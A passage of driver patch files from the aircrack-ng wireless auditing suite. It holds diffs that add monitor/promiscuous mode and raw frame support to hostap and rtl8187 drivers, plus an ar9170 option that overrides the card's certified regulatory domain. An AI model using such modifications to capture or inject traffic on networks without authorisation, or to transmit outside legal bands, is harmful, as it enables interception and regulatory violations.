LAN/PC Card", 0x3b6e20c8, 0xefccafe9), +// PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("ACTIONTEC", "PRISM Wireless LAN PC Card", 0x393089da, 0xa71e69d5), + PCMCIA_DEVICE_PROD_ID123("Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", 0xe6ec52ce, 0x08649af2, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("AIRVAST", "IEEE 802.11b Wireless PCMCIA Card", "HFA3863", 0xea569531, 0x4bcb9645, 0x355cb092), + PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e), +// PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169), // HermesI + PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb), +// PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 0x2decece3, 0x82067c18), +// PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90), // HermesI + PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", 0x54f7c49c, 0x15a75e5b), + PCMCIA_DEVICE_PROD_ID123("corega", "WL PCCL-11", "ISL37300P", 0x0a21501a, 0x59868926, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCC-11", 0x5261440f, 0xa6405584), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCCA-11", 0x5261440f, 0xdf6115f9), + PCMCIA_DEVICE_PROD_ID12("D", "Link DRC-650 11Mbps WLAN Card", 0x71b18589, 0xf144e3ac), + PCMCIA_DEVICE_PROD_ID123("D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146), +// PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3), // HermesI + PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c), + PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077), // HermesI + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "I-GATE 11M PC Card / PC Card plus", 0x74c5e40d, 0x8304ff77), + PCMCIA_DEVICE_PROD_ID1234("Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", "Eval-RevA", 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), + PCMCIA_DEVICE_PROD_ID123("Intersil", "PRISM Freedom PCMCIA Adapter", "ISL37100P", 0x4b801a17, 0xf222ec2d, 0x630d52b2), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92), + PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", 0x0733cc81, 0x0c52f395), +// PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("Microsoft", "Wireless Notebook Adapter MN-520", 0x5961bf85, 0x6eec8c01), +// PCMCIA_DEVICE_PROD_ID12("NCR", "WaveLAN/IEEE", 0x24358cd4, 0xc562e72a), // HermesI + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401 Wireless PC", "Card", 0xa37434e9, 0x9762e8f1), + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401RA Wireless PC", "Card", 0x0306467f, 0x9762e8f1), +// PCMCIA_DEVICE_PROD_ID12("Nortel Networks", "emobility 802.11 Wireless LAN PC Card", 0x2d617ea0, 0x88cd5767), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("OEM", "PRISM2 IEEE 802.11 PC-Card", 0xfea54c90, 0x48f2bdd6), + PCMCIA_DEVICE_PROD_ID12("OTC", "Wireless AirEZY 2411-PCC WLAN Card", 0x4ac44287, 0x235a6bed), + PCMCIA_DEVICE_PROD_ID123("PCMCIA", "11M WLAN Card v2.5", "ISL37300P", 0x281f1c5d, 0x6e440487, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-CF110", 0x209f40ab, 0xd9715264), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-NS110", 0x209f40ab, 0x46263178), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PC CARD HARMONY 80211B", 0xc6536a5e, 0x090c3cd9), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26), + PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b), +// PCMCIA_DEVICE_PROD_ID1("Symbol Technologies", 0x3f02b4d6), // Symbol24 +// PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e), // Symbol24 + PCMCIA_DEVICE_PROD_ID123("SMC", "SMC2632W", "Version 01.02", 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("The Linksys Group, Inc.", "Instant Wireless Network PC Card", "ISL37300P", 0xa5f472c2, 0x590eb502, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("ZoomAir 11Mbps High", "Rate wireless Networking", 0x273fe3db, 0x32a1eaee), + PCMCIA_DEVICE_NULL }; MODULE_DEVICE_TABLE(pcmcia, hostap_cs_ids); #endif /* >= 2.6.13 */ Only in hostap-driver-0.4.7-aircrack-ng/driver/modules: .hostap_cs.c.swp diff -ur hostap-driver-0.4.7/driver/modules/hostap_hw.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_hw.c --- hostap-driver-0.4.7/driver/modules/hostap_hw.c 2005-08-20 12:32:34.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_hw.c 2006-03-20 14:45:13.000000000 -0500 @@ -1005,6 +1005,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1028,6 +1057,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1444,6 +1477,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3260,6 +3297,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT diff -ur hostap-driver-0.4.7/driver/modules/hostap_ioctl.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_ioctl.c --- hostap-driver-0.4.7/driver/modules/hostap_ioctl.c 2005-09-18 21:51:47.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_ioctl.c 2006-03-20 14:45:13.000000000 -0500 @@ -1068,33 +1068,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1160,7 +1134,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur hostap-driver-0.4.7/driver/modules/hostap_pci.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_pci.c --- hostap-driver-0.4.7/driver/modules/hostap_pci.c 2005-09-17 17:05:08.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_pci.c 2006-03-20 14:45:13.000000000 -0500 @@ -48,6 +48,8 @@ { 0x1260, 0x3873, PCI_ANY_ID, PCI_ANY_ID }, /* Samsung MagicLAN SWL-2210P */ { 0x167d, 0xa000, PCI_ANY_ID, PCI_ANY_ID }, + /* NETGEAR MA311 */ + { 0x1385, 0x3872, PCI_ANY_ID, PCI_ANY_ID }, { 0 } }; diff -ur hostap-driver-0.4.7/driver/modules/hostap_plx.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_plx.c --- hostap-driver-0.4.7/driver/modules/hostap_plx.c 2005-09-17 17:05:08.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_plx.c 2006-03-20 14:45:13.000000000 -0500 @@ -98,6 +98,7 @@ { 0xc250, 0x0002 } /* EMTAC A2424i */, { 0xd601, 0x0002 } /* Z-Com XI300 */, { 0xd601, 0x0005 } /* Zcomax XI-325H 200mW */, + { 0xd601, 0x0010 } /* Zcomax XI-325H 100mW */, { 0, 0} }; diff -ur hostap-driver-0.4.7/driver/modules/hostap_wlan.h hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_wlan.h --- hostap-driver-0.4.7/driver/modules/hostap_wlan.h 2005-08-06 13:55:14.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_wlan.h 2006-03-20 14:45:13.000000000 -0500 @@ -591,6 +591,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.2-rc4/patches/ar9170_regdomain_override.patch0000644000000000000000000000262411324503527022246 0ustar rootrootPaulFertser> Get _your_ country code from regd.h, add 32768 and supply as a parameter. fercerpav@gmail.com --- linux-2.6.32-gentoo-r1-orig/drivers/net/wireless/ath/ar9170/main.c 2009-12-03 06:51:21.000000000 +0300 +++ linux-2.6.32-gentoo-r1/drivers/net/wireless/ath/ar9170/main.c 2010-01-16 02:20:36.000000000 +0300 @@ -53,6 +53,11 @@ module_param_named(ht, modparam_ht, bool, S_IRUGO); MODULE_PARM_DESC(ht, "enable MPDU aggregation."); +static int modparam_override_eeprom_regdomain = -1; +module_param_named(override_eeprom_regdomain, + modparam_override_eeprom_regdomain, int, S_IRUGO); +MODULE_PARM_DESC(override_eeprom_regdomain, "Override regdomain hardcoded in EEPROM with this value (DANGEROUS)."); + #define RATE(_bitrate, _hw_rate, _txpidx, _flags) { \ .bitrate = (_bitrate), \ .flags = (_flags), \ @@ -2687,6 +2692,14 @@ if (err) goto err_out; + if (modparam_override_eeprom_regdomain != -1) { + dev_err(pdev, "DANGER! You're overriding EEPROM-defined regulatory domain.\n"); + dev_err(pdev, "Your card was not certified to operate on the domain you choosed.\n"); + dev_err(pdev, "This might result in a violation of your local regulatory rules.\n"); + dev_err(pdev, "Do not ever do that unless you really know what you do!\n"); + regulatory->current_rd = modparam_override_eeprom_regdomain; + } + err = ath_regd_init(regulatory, ar->hw->wiphy, ar9170_reg_notifier); if (err) aircrack-ng-1.2-rc4/patches/old/0000755000000000000000000000000012660222375015133 5ustar rootrootaircrack-ng-1.2-rc4/patches/old/rtl8187_2.6.20v4.patch0000644000000000000000000112622010761053203020360 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-05-26 10:37:51.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-05-26 10:37:46.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-05-26 10:37:51.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-05-26 10:37:46.000000000 +0200 @@ -173,7 +173,7 